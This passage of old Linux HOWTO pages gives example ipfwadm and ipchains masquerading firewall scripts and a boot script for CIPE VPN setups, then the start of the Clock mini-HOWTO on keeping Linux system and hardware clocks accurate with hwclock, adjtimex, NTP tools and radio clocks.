#--------------------------------------------------------------------------

exit 0


The Linux Cipe+Masquerading mini-HOWTO: Example masquerading firewall scripts

 Next Previous Contents

7. Example masquerading firewall scripts

7.1 Kernel 2.0, ipfwadm

#!/bin/sh
#04/04/1999
#example rc.firewall script for the 2.0 kernels using ipfwadm
#I cant take full credit for this script.  I had found it a few
#years ago and made slight modifications.
#Send questions or comments to acj@home.com.

#---------------------------------------------------------------------
#Variables
#---------------------------------------------------------------------

#local ethernet interface
localip=
localif=eth0

#static ethernet interface
staticip=
staticif=eth1

PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#---------------------------------------------------------------------
#Incoming Firewall Policies
#---------------------------------------------------------------------
#flush incoming firewall policies
/sbin/ipfwadm -I -f

#set incoming firewall policy default to deny
/sbin/ipfwadm -I -p deny

#---------------------------------------------------------------------

#local interface, local machines, going anywhere is valid
/sbin/ipfwadm -I -a accept -V $localip -S $localip/24 -D 0.0.0.0/0
#remote interface, claiming to be local machines (IP spoofing) deny and log
/sbin/ipfwadm -I -a deny -V $staticip -S $localip/24 -D 0.0.0.0/0 -o
#remote interface, any source, going to staticip address is valid
/sbin/ipfwadm -I -a accept -V $staticip -S 0.0.0.0/0 -D $staticip/32
#loopback interface is valid
/sbin/ipfwadm -I -a accept -V 127.0.0.1 -S 0.0.0.0/0 -D 0.0.0.0/0
#all other incoming is denied and logged
/sbin/ipfwadm -I -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 -o

#---------------------------------------------------------------------
#Outgoing Firewall Policies
#---------------------------------------------------------------------

#flush outgoing firewall policies
/sbin/ipfwadm -O -f

#set outgoing firewall policy default to deny
/sbin/ipfwadm -O -p deny

#---------------------------------------------------------------------

#local interface, any source going to local net is valid
/sbin/ipfwadm -O -a accept -V $localip -S 0.0.0.0/0 -D $localip/24
#outgoing to localnet on static interface, stuffed routing, deny
/sbin/ipfwadm -O -a deny -V $staticip -S 0.0.0.0/0 -D $localip/24 -o
#outgoing from localnet on static interface, stuffed masquerading, deny
/sbin/ipfwadm -O -a deny -V $staticip -S $localip/24 -D 0.0.0.0/0 -o
#outgoing to localnet on static interface, stuffed masquerading, deny
/sbin/ipfwadm -O -a deny -V $staticip -S 0.0.0.0/0 -D $localip/24 -o
#anything else outgoing on remote interface is valid
/sbin/ipfwadm -O -a accept -V $staticip -S $staticip/32 -D 0.0.0.0/0
#loopback interface is valid
/sbin/ipfwadm -O -a accept -V 127.0.0.1 -S 0.0.0.0/0 -D 0.0.0.0/0
#all other outgoing is denied and logged
/sbin/ipfwadm -O -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 -o

#--------------------------------------------------------------------------
#Forwarding firewall policies
#--------------------------------------------------------------------------

#flush forwarding policies
/sbin/ipfwadm -F -f

#set forwarding policy default to deny
/sbin/ipfwadm -F -p deny

#masquerade from localnet on local interface to anywhere
/sbin/ipfwadm -F -a masquerade -W $staticif -S $localip/24 -D 0.0.0.0/0
#all other forwarding is denied
/sbin/ipfwadm -F -a deny -S 0.0.0.0/0 -D 0.0.0.0/0

exit 0

7.2 Kernel 2.1/2.2, ipchains

#!/bin/sh
#04/04/1999
#example rc.firewall script for the newer 2.1/2.2 kernels using ipchains
#that creates user defined chains for each interface.  There are firewall
#rules for spoofing protection which may be unnecessary since the newer
#kernels can have kernel spoofing protection enabled.  You might say it's
#super paranoid checking.
#Send questions or comments to acj@home.com.

#---------------------------------------------------------------------
#Variables
#---------------------------------------------------------------------

#local ethernet interface
localip=
localif=eth0

#static ethernet interface
staticip=
staticif=eth1

#loopback interface
loopback=lo

PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#---------------------------------------------------------------------
#Flush built-in input, output, and forward ipchains; set default policy
#Good policy to deny all packets especially while setting up chains
#---------------------------------------------------------------------

#set incoming firewall policy default to deny
ipchains -P input DENY

#flush incoming firewall policies
ipchains -F input

#---------------------------------------------------------------------

#set outgoing firewall policy default to deny
ipchains -P output DENY

#flush outgoing firewall policies
ipchains -F output

#---------------------------------------------------------------------

#set forwarding firewall policy default to deny
ipchains -P forward DENY

#flush forwarding firewall policies
ipchains -F forward

#---------------------------------------------------------------------
#flush all policies  -redundant for main policies, but also flushes user
#defined policies
#ipchains -F

#remove all user defined policies - you may or may not want to enable this
#ipchains -X

#---------------------------------------------------------------------
#Incoming Firewall Policies
#---------------------------------------------------------------------

#create new input chain for static ethernet interface
ipchains -N $staticif"-i"

#flush all rules in chain (sanity flush)
ipchains -F $staticif"-i"

#block incoming tcp SYN packets to all ports on staticif and log
#this may be a little harsh but its a nice feature
#ipchains -A $staticif"-i" -j DENY -p tcp -y -i $staticif -s 0/0 \
#-d $staticip : -l

#remote interface, claiming to be local machines (IP spoofing) deny and log
ipchains -A $staticif"-i" -j DENY -i $staticif -s $localip/16 -d 0/0 -l

#remote interface, any source, going to staticip address is valid
ipchains -A $staticif"-i" -j ACCEPT -i $staticif -s 0/0 -d $staticip/32

#all other incoming is denied and logged
ipchains -A $staticif"-i" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------

#create new input chain for local ethernet interface
ipchains -N $localif"-i"

#flush all rules in chain (sanity flush)
ipchains -F $localif"-i"

#local interface, local machines, going anywhere is valid
ipchains -A $localif"-i" -j ACCEPT -i $localif -s $localip/24 -d 0/0

#all other incoming is denied and logged
ipchains -A $localif"-i" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------

#create new input chain for loopback interface
ipchains -N $loopback"-i"

#flush all rules in chain (sanity flush)
ipchains -F $loopback"-i"

#loopback interface is valid
ipchains -A $loopback"-i" -j ACCEPT -i $loopback -s 0/0 -d 0/0

#all other incoming is denied and logged
ipchains -A $loopback"-i" -j DENY -s 0/0 -d 0/0 -l

#--------------------------------------------------------------------------
#Forwarding firewall policies
#--------------------------------------------------------------------------

#create new forward chain for static ethernet interface
ipchains -N $staticif"-f"

#flush all rules in chain (sanity flush)
ipchains -F $staticif"-f"

#masquerade from localnet on static interface to anywhere
ipchains -A $staticif"-f" -j MASQ -i $staticif -s $localip/24 -d 0/0

#all other forwarding is denied and logged
ipchains -A $staticif"-f" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------

#create new forward chain for local ethernet interface
ipchains -N $localif"-f"

#flush all rules in chain (sanity flush)
ipchains -F $localif"-f"

#all other forwarding is denied and logged
ipchains -A $localif"-f" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------

#create new forward chain for loopback interface
ipchains -N $loopback"-f"

#flush all rules in chain (sanity flush)
ipchains -F $loopback"-f"

#all other forwarding is denied and logged
ipchains -A $loopback"-f" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------
#Outgoing Firewall Policies
#---------------------------------------------------------------------

#create new output chain for static ethernet interface
ipchains -N $staticif"-o"

#flush all rules in chain (sanity flush)
ipchains -F $staticif"-o"

#outgoing to localnet on remote interface(stuffed routing) deny & log
ipchains -A $staticif"-o" -j DENY -i $staticif -s 0/0 -d $localip/24 -l

#outgoing from local net on remote interface, stuffed masquerading, deny
ipchains -A $staticif"-o" -j DENY -i $staticif -s $localip/24 -d 0/0 -l

#anything else outgoing on remote interface is valid
ipchains -A $staticif"-o" -j ACCEPT -i $staticif -s $staticip/32 -d 0/0

#all other outgoing is denied and logged
ipchains -A $staticif"-o" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------

#create new output chain for local ethernet interface
ipchains -N $localif"-o"

#flush all rules in chain (sanity flush)
ipchains -F $localif"-o"

#local interface, any source going to local net is valid
ipchains -A $localif"-o" -j ACCEPT -i $localif -s 0/0 -d $localip/24

#all other outgoing is denied and logged
ipchains -A $localif"-o" -j DENY -s 0/0 -d 0/0 -l

#---------------------------------------------------------------------

#create new output chain for loopback interface
ipchains -N $loopback"-o"

#flush all rules in chain (sanity flush)
ipchains -F $loopback"-o"

#loopback interface is valid
ipchains -A $loopback"-o" -j ACCEPT -i $loopback -s 0/0 -d 0/0
#all other outgoing is denied and logged
ipchains -A $loopback"-o" -j DENY -s 0/0 -d 0/0 -l

#--------------------------------------------------------------------------
#make sure forwarding is enabled in the kernel
#--------------------------------------------------------------------------

/bin/echo 1 > /proc/sys/net/ipv4/ip_forward

#--------------------------------------------------------------------------
#Add pointers to built-in chains to enable user defined chains
#change the order in each chain to optimize filtering for an interface
#--------------------------------------------------------------------------

#add local interface input chain
ipchains -A input -i $localif -j $localif"-i"

#add static interface input chain
ipchains -A input -i $staticif -j $staticif"-i"

#add loopback interface input chain
ipchains -A input -i $loopback -j $loopback"-i"

#-------------------------------------------------------------------------

#add local interface output chain
ipchains -A output -i $localif -j $localif"-o"

#add static interface output chain
ipchains -A output -i $staticif -j $staticif"-o"

#add loopback interface output chain
ipchains -A output -i $loopback -j $loopback"-o"

#-------------------------------------------------------------------------

#add local interface forward chain
ipchains -A forward -i $localif -j $localif"-f"

#add static interface forward chain
ipchains -A forward -i $staticif -j $staticif"-f"

#add loopback interface forward chain
ipchains -A forward -i $loopback -j $loopback"-f"

#---------------------------------------------------------------------
#Super Paranoid check --- even though default policy is set for deny,
#block all packets on any interface
#---------------------------------------------------------------------

#all other incoming is denied and logged
ipchains -A input -j DENY -s 0/0 -d 0/0 -l

#all other output is denied and logged
ipchains -A output -j DENY -s 0/0 -d 0/0 -l

#all other forwarding is denied and logged
ipchains -A forward -j DENY -s 0/0 -d 0/0 -l

exit 0


The Linux Cipe+Masquerading mini-HOWTO: Putting it all together

 Next Previous Contents

8. Putting it all together

This is an example rc.local script to start everything when your system boots. It will add spoofing protection in the kernel if you are using a 2.2 kernel, setup the masquerading firewall policies, and start the cipe interface(s).

#!/bin/bash
#4/4/99
#an example rc.local script
#Send questions or comments to acj@home.com

echo

#Set up spoof protection in kernel -- from IPChains HOWTO by Paul Russell

#this is only for the newer 2.1/2.2 kernels

#if [ -e /proc/sys/net/ipv4/conf/all/rp_filter ]; then
#   echo -n "Setting up IP spoofing protection..."
#   for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
#       echo 1 > $f
#   done
#   echo "done."
#else
#   echo PROBLEMS SETTING UP IP SPOOFING PROTECTION.  BE WORRIED.
#   echo "CONTROL-D will exit from this shell and continue system startup."
#   echo
#   # Start a single user shell on the console
#   /sbin/sulogin $CONSOLE
#fi

echo

#Setup firewall policies
if [ -x /etc/rc.d/rc.firewall ]; then
        echo Setting up firewall packet filtering policies.
        echo
        . /etc/rc.d/rc.firewall
fi

#Start cipe interfaces
if [ -x /etc/rc.d/rc.cipe ]; then
        echo Starting VPN interfaces.
        . /etc/rc.d/rc.cipe
fi

exit 0


The Linux Cipe+Masquerading mini-HOWTO: Connecting to the WAN

 Next Previous Contents

9. Connecting to the WAN

At this point your cipe interface should be up and running. Try pinging machines on the other network(s). If you cannot ping check the following on the firewall machine:

  • Check that forwarding is enabled in the kernel.
  • Do an ifconfig to check if the cipe interface is up.
    cipcb0  Link encap:IPIP Tunnel  HWaddr
        inet addr:192.168.1.1  P-t-P:192.168.2.1  Mask:255.255.255.255
        UP POINTOPOINT NOTRAILERS RUNNING NOARP  MTU:1442  Metric:1
        RX packets:28163 errors:6 dropped:0 overruns:0 frame:6
        TX packets:29325 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:100
  • Check the route table for a host entry for the other cipe host on the cipe interface.
    192.168.2.1    *      255.255.255.255 UH    0   0        0 cipcb0
  • Check the route table for a network entry to the other network(s) on the cipe interface.
    192.168.2.0    *      255.255.255.0   U     0   0        0  cipcb0
  • Check the log files for any error messages.

If your other machines behind your firewall cannot access machines behind the other firewall check that the gateway is properly setup on both ends.

Once you are able to ping, ftp, telnet, etc. to machines on the other network, the next step is to get your networks to see each other and access each other using SAMBA browsing. A few hints: lmhosts or wins server is required, trusted domains for NT. I have set these up, but that is not the purpose of this document (at least not for now).

If you used the example firewall masquerading script, then all of your machines should also be able to connect to the internet. If you cannot, then you might want to check the log files. You may also want to try using tcpdump to see what is happening with the packets.


The Linux Cipe+Masquerading mini-HOWTO: References

 Next Previous Contents

10. References

10.1 Web Sites

Cipe Home Page

Masq Home Page

Samba Home Page

Linux HQ ---great site for lots of linux info

10.2 Documentation

cipe.info: info file included with cipe distribution

Firewall HOWTO, by Mark Grennan, markg@netplus.net

IP Masquerade mini-HOWTO,by Ambrose Au, ambrose@writeme.com

IPChains-Howto, by Paul Russell, Paul.Russell@rustcorp.com.au


The Clock Mini-HOWTO

Ron Bean, rbean@execpc.com

v2.1, November 2000

How to set and keep your computer's clock on time.

1. Introduction

  • 1.1 Does Anybody Really Know What Time It Is?
  • 1.2 Where to Find Stuff: "The Usual Places"
  • 1.3 Acknowledgements

2. How Linux Keeps Track of Time

  • 2.1 Basic Strategies
  • 2.2 Potential Conflicts
  • 2.3 Should the RTC use Local Time or UTC, and What About DST?
  • 2.4 How Linux keeps Track of Time Zones
  • 2.5 The Bottom Line

3. Software

  • 3.1 Clock(8) and Hwclock(8)
  • 3.2 Adjtimex(8)
  • 3.3 Xntpd and ntpd: the Network Time Protocol
  • 3.4 Chrony
  • 3.5 Clockspeed

4. Radio Clocks

  • 4.1 CHU and the "Gadget Box"
  • 4.2 WWV and the "Most Accurate Clock"
  • 4.3 GPS and the "Totally Accurate Clock"
  • 4.4 Low-frequency Time Signals: DCF77, MSF(Rugby), WWVB


The Clock Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Does Anybody Really Know What Time It Is?

The Real-Time-Clock (RTC) chips used on PC motherboards are notoriously inaccurate, usually gaining or losing the same amount of time each day. Linux provides a simple way to correct for this in software, which can make the clock *very* accurate, even without an external time source. But most people don't know how to set it up, for several reasons:

  • It's not mentioned in most of the general documentation on how to set up linux, and it can't be set up automatically (unless you have an external time source), so the default is not to use it.
  • If you type "man clock" you may get the man page for clock(3), which is not what you want. Try "man 8 clock" or "man 8 hwclock" (some distributions search the man pages in numerical order if you don't give a section number, others search in the order specified in /etc/man.config).
  • Most people don't seem to care what time it is anyway.
  • Those few who do care often want to sync the system clock to an external time source, such as a network time server or radio clock. This makes the accuracy of the RTC (mostly) irrelevant.

This mini-HOWTO describes the low-tech approach (which can be very accurate by itself), and provides pointers to several more sophisticated options. In most cases the documentation is well written, so I'm not going to repeat that information here.

Previous versions included detailed instructions for the old clock(8) program for anyone still running an older system, but I've dropped that section because most distributions now use hwclock(8) instead, which has much better documentation. If you still want a copy of the clock(8) instructions I can email them to you, but read the section on hwclock(8) first.

Note

You must be logged in as "root" to run any program that affects the RTC or the system time, which includes most of the programs described here. If you normally use a graphical interface for everything, you may also need to learn some basic unix shell commands.

Note

If you run more than one OS on your machine, you should only let one of them set the RTC, so they don't confuse each other. The exception is the twice-a-year adjustment for Daylight Saving(s) Time (see the section on DST for details).

If you run a dual-boot system that spends a lot of time running Windows, you may want to check out some of the clock software available for that OS instead. Follow the links on the NTP website at http://www.eecis.udel.edu/~ntp/software.html. Many of the radio clocks mentioned here include software for Windows.

1.2 Where to Find Stuff: "The Usual Places"

In some places I've mentioned that software can be downloaded from "the usual places", which means any place you could download a complete Linux system if you didn't get it on a CD-ROM. In the old days that meant the ftp archive at sunsite.unc.edu, and various mirror sites around the world. That site has been renamed http://metalab.unc.edu/linux/ (since Sun no longer sponsors it). Some distributions also have their own websites, which may include a lot of this stuff.

I assume most people get Linux on CD these days, and those CDs often include software that is not part of the default installation, so you may already have some of the programs mentioned here without knowing it.

The latest version of this mini-HOWTO can be found at the home of the Linux Documentation Project, which is currently http://www.linuxdoc.org/ (and is also reachable from the metalab site mentioned above). I think all the old links are now forwarded to this one.

All HOWTOs are written in SGML and converted to various other formats by standardized conversion programs. Most people seem to want the HTML version, which is at http://www.linuxdoc.org/HOWTO/mini/Clock.html. Revision history can be found as comments in the SGML source. Most Linux distributions install a complete set of HOWTO's in /usr/doc/HOWTO/ and /usr/doc/HOWTO/mini.

1.3 Acknowledgements

This mini-HOWTO has been greatly improved thanks to various people who have sent me email since the first version in 1996. In some cases they wrote with questions but ended up giving me as much information as I gave them. Unfortunately I haven't compiled a list of names (maybe next time). You know who you are :-).


The Clock Mini-HOWTO: How Linux Keeps Track of Time

 Next Previous Contents

2. How Linux Keeps Track of Time

2.1 Basic Strategies

A Linux system actually has two clocks: One is the battery powered "Real Time Clock" (also known as the "RTC", "CMOS clock", or "Hardware clock") which keeps track of time when the system is turned off but is not used when the system is running. The other is the "system clock" (sometimes called the "kernel clock" or "software clock") which is a software counter based on the timer interrupt. It does not exist when the system is not running, so it has to be initialized from the RTC (or some other time source) at boot time. References to "the clock" in the ntpd documentation refer to the system clock, not the RTC.

The two clocks will drift at different rates, so they will gradually drift apart from each other, and also away from the "real" time. The simplest way to keep them on time is to measure their drift rates and apply correction factors in software. Since the RTC is only used when the system is not running, the correction factor is applied when the clock is read at boot time, using clock(8) or hwclock(8). The system clock is corrected by adjusting the rate at which the system time is advanced with each timer interrupt, using adjtimex(8).

A crude alternative to adjtimex(8) is to have chron run clock(8) or hwclock(8) periodically to sync the system time to the (corrected) RTC. This was recommended in the clock(8) man page, and it works if you do it often enough that you don't cause large "jumps" in the system time, but adjtimex(8) is a more elegant solution. Some applications may complain if the time jumps backwards.

The next step up in accuracy is to use a program like ntpd to read the time periodically from a network time server or radio clock, and continuously adjust the rate of the system clock so that the times always match, without causing sudden "jumps" in the system time. If you always have a network connection at boot time, you can ignore the RTC completely and use ntpdate (which comes with the ntpd package) to initialize the system clock from a time server-- either a local server on a LAN, or a remote server on the internet. But if you sometimes don't have a network connection, or if you need the time to be accurate during the boot sequence before the network is active, then you need to maintain the time in the RTC as well.

2.2 Potential Conflicts

It might seem obvious that if you're using a program like ntpd, you would want to sync the RTC to the (corrected) system clock. But this turns out to be a bad idea if the system is going to stay shut down longer than a few minutes, because it interferes with the programs that apply the correction factor to the RTC at boot time.

If the system runs 24/7 and is always rebooted immediately whenever it's shut down, then you can just set the RTC from the system clock right before you reboot. The RTC won't drift enough to make a difference in the time it takes to reboot, so you don't need to know its drift rate.

Of course the system may go down unexpectedly, so some versions of the kernel sync the RTC to the system clock every 11 minutes if the system clock has been adjusted by another program. The RTC won't drift enough in 11 minutes to make any difference, but if the system is down long enough for the RTC to drift significantly, then you have a problem: the programs that apply the drift correction to the RTC need to know *exactly* when it was last reset, and the kernel doesn't record that information anywhere.

Some unix "traditionalists" might wonder why anyone would run a linux system less than 24/7, but some of us run dual-boot systems with another OS running some of the time, or run Linux on laptops that have to be shut down to conserve battery power when they're not being used. Other people just don't like to leave machines running unattended for long periods of time (even though we've heard all the arguments in favor of it). So the "every 11 minutes" feature becomes a bug.

This "feature/bug" appears to behave differently in different versions of the kernel (and possibly in different versions of xntpd and ntpd as well), so if you're running both ntpd and hwclock you may need to test your system to see what it actually does. If you can't keep the kernel from resetting the RTC, you might have to run without a correction factor on the RTC.

The part of the kernel that controls this can be found in /usr/src/linux-2.0.34/arch/i386/kernel/time.c (where the version number in the path will be the version of the kernel you're running). If the variable time_status is set to TIME_OK then the kernel will write the system time to the RTC every 11 minutes, otherwise it leaves the RTC alone. Calls to adjtimex(2) (as used by ntpd and timed, for example) may turn this on. Calls to settimeofday(2) will set time_status to TIME_UNSYNC, which tells the kernel not to adjust the RTC. I have not found any real documentation on this.

I've heard reports that some versions of the kernel may have problems with "sleep modes" that shut down the CPU to save energy. The best solution is to keep your kernel up to date, and refer any problems to the people who maintain the kernel.

If you get bizarre results from the RTC you may have a hardware problem. Some RTC chips include a lithium battery that can run down, and some motherboards have an option for an external battery (be sure the jumper is set correctly). The same battery maintains the CMOS RAM, but the clock takes more power and is likely to fail first. Bizarre results from the system clock may mean there is a problem with interrupts.

2.3 Should the RTC use Local Time or UTC, and What About DST?

The Linux "system clock" actually just counts the number of seconds past Jan 1, 1970, and is always in UTC (or GMT, which is technically different but close enough that casual users tend to use both terms interchangeably). UTC does not change as DST comes and goes-- what changes is the conversion between UTC and local time. The translation to local time is done by library functions that are linked into the application programs.

This has two consequences: First, any application that needs to know the local time also needs to know what time zone you're in, and whether DST is in effect or not (see the next section for more on time zones). Second, there is no provision in the kernel to change either the system clock or the RTC as DST comes and goes, because UTC doesn't change. Therefore, machines that only run Linux should have the RTC set to UTC, not local time.

However, many people run dual-boot systems with other OS's that expect the RTC to contain the local time, so hwclock needs to know whether your RTC is in local time or UTC, which it then converts to seconds past Jan 1, 1970 (UTC). This still does not provide for seasonal changes to the RTC, so the change must be made by the other OS (this is the one exception to the rule against letting more than one program change the time in the RTC).

Unfortunately, there are no flags in the RTC or the CMOS RAM to indicate standard time vs DST, so each OS stores this information someplace where the other OS's can't find it. This means that hwclock must assume that the RTC always contains the correct local time, even if the other OS has not been run since the most recent seasonal time change.

If Linux is running when the seasonal time change occurs, the system clock is unaffected and applications will make the correct conversion. But if linux has to be rebooted for any reason, the system clock will be set to the time in the RTC, which will be off by one hour until the other OS (usually Windows) has a chance to run.

There is no way around this, but Linux doesn't crash very often, so the most likely reason to reboot on a dual-boot system is to run the other OS anyway. But beware if you're one of those people who shuts down Linux whenever you won't be using it for a while-- if you haven't had a chance to run the other OS since the last time change, the RTC will be off by an hour until you do.

Some other documents have stated that setting the RTC to UTC allows Linux to take care of DST properly. This is not really wrong, but it doesn't tell the whole story-- as long as you don't reboot, it does not matter which time is in the RTC (or even if the RTC's battery dies). Linux will maintain the correct time either way, until the next reboot. In theory, if you only reboot once a year (which is not unreasonable for Linux), DST could come and go and you'd never notice that the RTC had been wrong for several months, because the system clock would have stayed correct all along. But since you can't predict when you'll want to reboot, it's better to have the RTC set to UTC if you're not running another OS that requires local time.

The Dallas Semiconductor RTC chip (which is a drop-in replacement for the Motorola chip used in the IBM AT and clones) actually has the ability to do the DST conversion by itself, but this feature is not used because the changeover dates are hard-wired into the chip and can't be changed. Current versions change on the first Sunday in April and the last Sunday in October, but earlier versions used different dates (and obviously this doesn't work in countries that use other dates). Also, the RTC is often integrated into the motherboard's "chipset" (rather than being a separate chip) and I don't know if they all have this ability.

2.4 How Linux keeps Track of Time Zones

You probably set your time zone correctly when you installed Linux. But if you have to change it for some reason, or if the local laws regarding DST have changed (as they do frequently in some countries), then you'll need to know how to change it. If your system time is off by some exact number of hours, you may have a time zone problem (or a DST problem).

Time zone and DST information is stored in /usr/share/zoneinfo (or /usr/lib/zoneinfo on older systems). The local time zone is determined by a symbolic link from /etc/localtime to one of these files. The way to change your timezone is to change the link. If your local DST dates have changed, you'll have to edit the file.

You can also use the TZ environment variable to change the current time zone, which is handy of you're logged in remotely to a machine in another time zone. Also see the man pages for tzset and tzfile.

This is nicely summarized at http://www.linuxsa.org.au/tips/time.html

2.5 The Bottom Line

If you don't need sub-second accuracy, hwclock(8) and adjtimex(8) may be all you need. It's easy to get enthused about time servers and radio clocks and so on, but I ran the old clock(8) program for years with excellent results. On the other hand, if you have several machines on a LAN it can be handy (and sometimes essential) to have them automatically sync their clocks to each other. And the other stuff can be fun to play with even if you don't really need it.

On machines that only run Linux, set the RTC to UTC (or GMT). On dual-boot systems that require local time in the RTC, be aware that if you have to reboot Linux after the seasonal time change, the clock may be temporarily off by one hour, until you have a chance to run the other OS. If you run more than two OS's, be sure only one of them is trying to adjust for DST.


The Clock Mini-HOWTO: Software

 Next Previous Contents

3. Software

3.1 Clock(8) and Hwclock(8)

All linux distributions install either the old clock(8) or the newer hwclock(8), but without a correction factor. Some may also install adjtimex(8), or they may include it on the CD as optional (or you can download it from the usual Linux archive sites). Some distributions also include a graphical clock setting program that runs in an X-window, but those are designed for interactive use, and the system will still install clock(8) or hwclock(8) for use in the startup scripts.

Clock(8) requires you to calculate the correction factor by hand, but hwclock(8) calculates it automatically whenever you use it to reset the RTC (using another program to set the RTC will interfere with the drift correction, so always use the same program if you're using a correction factor). If you have an older system that still uses clock(8) and you want to upgrade, you can find hwclock(8) in the "util-linux" package, version 2.7 or later. See the man page for more information.

Note

The man page for hwclock(8) may be called "clock" for backward compatibility, so try both names. Hwclock(8) will respond to commands written for clock(8), but the result may not be the same-- in particular, "hwclock -a" is not quite the same as "clock -a", so if you're upgrading to hwclock I'd suggest replacing all references to "clock" in your startup scripts to use hwclock's native commands instead.

The startup scripts vary from one distribution to another, so you may have to search a bit to find where it sets the clock. Typical locations are /etc/rc.local, /etc/rc.d/rc.sysinit, /etc/rc.d/boot, or some similar place.

The correction factor for the RTC is stored in /etc/adjtime. Red Hat has a script in /etc/sysconfig/clock that controls the options to hwclock.

When you're setting the clock to determine the drift rate, keep in mind that your local telephone time announcement may or may not be accurate. If you don't have a shortwave radio or GPS receiver, you can hear the audio feed from WWV by calling (303)499-7111 (this is a toll call to Boulder, Colorado). It will cut you off after three minutes, but that should be long enough to set the clock. USNO and Canada's CHU also have telephone time services, but I prefer WWV's because there is more time between the announcement and the "beep". You can also get the time from a network time server using the ntpdate program that comes with ntpd, and there's a javaclock at www.time.gov.

In any case, what you're setting is the system clock, not the RTC (see the man page for the date command for the formats to use). Then use hwclock to set the RTC and calculate the drift rate. If you're doing this by hand, you should be able to set it within a second or two, and get a reasonable approximation of the drift rate after a few weeks. Then you can run adjtimex(8) to fine-tune the system clock.

3.2 Adjtimex(8)

Adjtimex(8) allows the user to adjust the kernel's time variables, and therefore change the speed of the system clock (you must be logged in as "root" to do this). It is cleverly designed to compare the system clock to the RTC using the same correction factor used by clock(8) or hwclock(8), as stored in /etc/adjtime. So, once you've established the drift rate of the RTC, it's fairly simple to correct the system clock as well. Once you've got it running at the right speed, you can add a line to your startup scripts to set the correct kernel variables at boot time. Since adjtimex(8) was designed to work with clock(8) or hwclock(8), it includes a work-around for the "every 11 minutes" bug.

After you've installed adjtimex(8) you can get more information on setting it up by typing "man 8 adjtimex" (there is also an adjtimex(2) man page, which is not what you want) and by reading the README file in /usr/doc/adjtimex-1.3/README (where the version number in the path will be the current version of adjtimex(8)).

3.3 Xntpd and ntpd: the Network Time Protocol

Xntpd (NTPv3) has been replaced by ntpd (NTPv4); the earlier version is no longer being maintained.

Ntpd is the standard program for synchronizing clocks across a network, and it comes with a list of public time servers you can connect to. It can be a little more complicated to set up than the other programs described here, but if you're interested in this kind of thing I highly recommend that you take a look at it anyway.

The "home base" for information on ntpd is the NTP website at http://www.eecis.udel.edu/~ntp/ which also includes links to all kinds of interesting time-related stuff (including software for other OS's). Some linux distributions include ntpd on the CD. There is a list of public time servers at http://www.eecis.udel.edu/~mills/ntp/clock2.html.

A relatively new feature in ntpd is a "burst mode" which is designed for machines that have only intermittent dial-up access to the internet.

Ntpd includes drivers for quite a few radio clocks (although some appear to be better supported than others). Most radio clocks are designed for commercial use and cost thousands of dollars, but there are some cheaper alternatives (discussed in later sections). In the past most were WWV or WWVB receivers, but now most of them seem to be GPS receivers. NIST has a PDF file that lists manufacturers of radio clocks on their website at http://www.boulder.nist.gov/timefreq/links.htm (near the bottom of the page). The NTP website also includes many links to manufacturers of radio clocks at http://www.eecis.udel.edu/~ntp/hardware.htm and http://www.eecis.udel.edu/~mills/ntp/refclock.htm. Either list may or may not be up to date at any given time :-). The list of drivers for ntpd is at http://www.eecis.udel.edu/~ntp/ntp_spool/html/refclock.htm.

Ntpd also includes drivers for several dial-up time services. These are all long-distance (toll) calls, so be sure to calculate the effect on your phone bill before using them.

3.4 Chrony

Xntpd was originally written for machines that have a full-time connection to a network time server or radio clock. In theory it can also be used with machines that are only connected intermittently, but Richard Curnow couldn't get it to work the way he wanted it to, so he wrote "chrony" as an alternative for those of us who only have network access when we're dialed in to an ISP (this is the same problem that ntpd's new "burst mode" was designed to solve). The current version of chrony includes drift correction for the RTC, for machines that are turned off for long periods of time.

You can get more information from Richard Curnow's website at http://www.rrbcurnow.freeuk.com/chrony or http://go.to/chrony. There are also two chrony mailing lists, one for announcements and one for discussion by users. For information send email to chrony-users-subscribe@egroups.com or chrony-announce-subscribe@egroups.com

Chrony is normally distributed as source code only, but Debian has been including a binary in their "unstable" collection. The source file is also available at the usual Linux archive sites.

3.5 Clockspeed

Another option is the clockspeed program by DJ Bernstein. It gets the time from a network time server and simply resets the system clock every three seconds. It can also be used to synchronize several machines on a LAN.

I've sometimes had trouble reaching his website at http://Cr.yp.to/clockspeed.html, so if you get a DNS error try again on another day. I'll try to update this section if I get some better information.


The Clock Mini-HOWTO: Radio Clocks

 Next Previous Contents

4. Radio Clocks

4.1 CHU and the "Gadget Box"

CHU, the Canadian shortwave time station near Ottawa, is similar to WWV in the US but with one important difference: in addition to announcing the time in both French and English, it also broadcasts the current time once per minute using the old "Bell 103" (300 baud) modem tones. These tones are very easy to decode, and Bill Rossi realised that you don't even need a modem-- just a shortwave radio and a sound card. If you're able to receive the signal from CHU, this may be the cheapest radio clock available. Shortwave reception varies throughout the day, but Bill claims that by changing frequencies twice a day (morning and evening) he gets almost 24-hour coverage. CHU broadcasts on 3.33, 7.335, and 14.670 MHz.

For more information see Bill Rossi's website at http://www.rossi.com/chu/. The source file is also available at the usual Linux archive sites. For information on CHU's time services see http://www.nrc.ca/inms/time/ctse.html.

The NTP website has plans for a "gadget box" that decodes the CHU time broadcast using an inexpensive 300 baud modem chip and any shortwave radio, at http://www.eecis.udel.edu/~ntp/ntp_spool/html/gadget.htm. The plans include a Postscript image of a 2-sided custom printed circuit board, but you have to make the board yourself (or find someone who can make it for you).

Ntpd includes a driver (type 7) for CHU receivers, which works either with modems like the "gadget box", or by feeding the audio directly into the mic input of a Sun SPARCstation (or any other machine with "compatible audio drivers").

4.2 WWV and the "Most Accurate Clock"

